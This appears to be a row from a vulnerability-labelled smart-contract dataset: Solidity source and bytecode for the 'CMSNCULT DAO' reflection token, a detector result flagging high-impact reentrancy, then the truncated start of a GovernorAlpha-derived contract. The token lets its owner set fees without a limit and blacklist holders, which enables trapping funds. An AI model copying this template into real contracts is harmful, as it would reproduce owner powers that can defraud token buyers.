MMNNNNNNSSSNNTNMMNNNSSLLSMNSSNSNNULLUNMMNSSSSNNMNSSNSNNNNNNNNMMML
SMMMMMMNNNNSNSMMMMMMMMNNNNNSNNNNMMMMMMMMMMMMMNMMNSNNNNNNMMMMMMML
NMMMMMMMMNNNNMMMMMMMMMNNNMNMNMMMMMNMNMNMMNMMMMNMNNNMMMMMMNL
LUMMMMMMMNMMMMMMMNNNNNNNNNNMMMMMMMMMMMMMMMMMMMMMMMM
LNMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMNNSSUTLTNMS
LLMMMMMMMMMMMMMMMMMNLL LLLLL
LLS
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CMSNCULT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CMSNCULT DAO";
string private constant _symbol = "CMSNCULT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 666666666666666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xC9Db663Af58e07cCe8cAE1273b87F2816987769E);
address payable private _marketingAddress = payable(0xDca9Ef8763d20F503f102cB78BeE07141b3F46B5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 6666666666666 * 10**9;//1% maxTransactionAmountTxn
uint256 public _maxWalletSize = 6666666666666 * 10**9;//1% maxWallet
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b857600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196b565b610603565b005b34801561020a57600080fd5b5060408051808201909152600c81526b434d534e43554c542044414f60a01b60208201525b60405161023c9190611a30565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a85565b6106a2565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50698d2c1289ddf398ee24005b60405190815260200161023c565b3480156102e057600080fd5b506102656102ef366004611ab1565b6106b9565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023c565b34801561033257600080fd5b50601554610295906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611af2565b610722565b34801561037257600080fd5b506101fc610381366004611b1f565b61076d565b34801561039257600080fd5b506101fc6107b5565b3480156103a757600080fd5b506102c66103b6366004611af2565b610800565b3480156103c757600080fd5b506101fc610822565b3480156103dc57600080fd5b506101fc6103eb366004611b3a565b610896565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611af2565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610295565b34801561045d57600080fd5b506101fc61046c366004611b1f565b6108c5565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600881526710d354d390d5531560c21b602082015261022f565b3480156104c457600080fd5b506101fc6104d3366004611b3a565b61090d565b3480156104e457600080fd5b506101fc6104f3366004611b53565b61093c565b34801561050457600080fd5b50610265610513366004611a85565b61097a565b34801561052457600080fd5b50610265610533366004611af2565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610987565b34801561056957600080fd5b506101fc610578366004611b85565b6109db565b34801561058957600080fd5b506102c6610598366004611c09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611b3a565b610a7c565b3480156105ef57600080fd5b506101fc6105fe366004611af2565b610aab565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c42565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611ca3565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611dbd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd8161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c42565b601655565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161062d90611c42565b601855565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161062d90611c42565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6012546001600160a01b0316336001600160a01b031614806109bc57506013546001600160a01b0316336001600160a01b0316145b6109c557600080fd5b60006109d030610800565b90506107fd816112ed565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161062d90611c42565b60005b82811015610a76578160056000868685818110610a2757610a27611c77565b9050602002016020810190610a3c9190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6e81611ca3565b915050610a08565b50505050565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062d90611c42565b601755565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062d90611c42565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb484610800565b610fbe9190611cbe565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b600061102230610800565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a7684848484611476565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a30565b5060006112268486611cd6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da6114a4565b90506112e683826114c7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c19190611ced565b816001815181106113d4576113d4611c77565b6001600160a01b0392831660209182029290920101526014546113fa9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611433908590600090869030904290600401611d0a565b600060405180830381600087803b15801561144d57600080fd5b505af1158015611461573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148357611483611509565b61148e848484611537565b80610a7657610a76600e54600c55600f54600d55565b60008060006114b161162e565b90925090506114c082826114c7565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b600c541580156115195750600d54155b1561152057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611549876116a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157b90876116fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115aa908661173f565b6001600160a01b0389166000908152600260205260409020556115cc8161179e565b6115d684836117e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b6006546000908190698d2c1289ddf398ee240061164b82826114c7565b82101561166957505060065492698d2c1289ddf398ee240092509050565b90939092509050565b600081836116935760405162461bcd60e51b815260040161062d9190611a30565b5060006112268486611d7b565b60008060008060008060008060006116bd8a600c54600d5461180c565b92509250925060006116cd6114a4565b905060008060006116e08e878787611861565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b60008061174c8385611cbe565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b60006117a86114a4565b905060006117b683836118b1565b306000908152600260205260409020549091506117d3908261173f565b30600090815260026020526040902055505050565b6006546117f590836116fd565b600655600754611805908261173f565b6007555050565b6000808080611826606461182089896118b1565b906114c7565b9050600061183960646118208a896118b1565b905060006118518261184b8b866116fd565b906116fd565b9992985090965090945050505050565b600080808061187088866118b1565b9050600061187e88876118b1565b9050600061188c88886118b1565b9050600061189e8261184b86866116fd565b939b939a50919850919650505050505050565b6000826118c0575060006106b3565b60006118cc8385611d9d565b9050826118d98583611d7b565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b803561196681611946565b919050565b6000602080838503121561197e57600080fd5b823567ffffffffffffffff8082111561199657600080fd5b818501915085601f8301126119aa57600080fd5b8135818111156119bc576119bc611930565b8060051b604051601f19603f830116810181811085821117156119e1576119e1611930565b6040529182528482019250838101850191888311156119ff57600080fd5b938501935b82851015611a2457611a158561195b565b84529385019392850192611a04565b98975050505050505050565b600060208083528351808285015260005b81811015611a5d57858101830151858201604001528201611a41565b81811115611a6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9857600080fd5b8235611aa381611946565b946020939093013593505050565b600080600060608486031215611ac657600080fd5b8335611ad181611946565b92506020840135611ae181611946565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b81356112e681611946565b8035801515811461196657600080fd5b600060208284031215611b3157600080fd5b6112e682611b0f565b600060208284031215611b4c57600080fd5b5035919050565b60008060008060808587031215611b6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9a57600080fd5b833567ffffffffffffffff80821115611bb257600080fd5b818601915086601f830112611bc657600080fd5b813581811115611bd557600080fd5b8760208260051b8501011115611bea57600080fd5b602092830195509350611c009186019050611b0f565b90509250925092565b60008060408385031215611c1c57600080fd5b8235611c2781611946565b91506020830135611c3781611946565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb757611cb7611c8d565b5060010190565b60008219821115611cd157611cd1611c8d565b500190565b600082821015611ce857611ce8611c8d565b500390565b600060208284031215611cff57600080fd5b81516112e681611946565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5a5784516001600160a01b031683529383019391830191600101611d35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db757611db7611c8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ab852957d7ecfc3a8645627780a81de1878099cd1378387c5412e6b3c91687d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,176 |
0xfebac0fc28842d2876a8e75e3d04e7bc11790f01 | // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
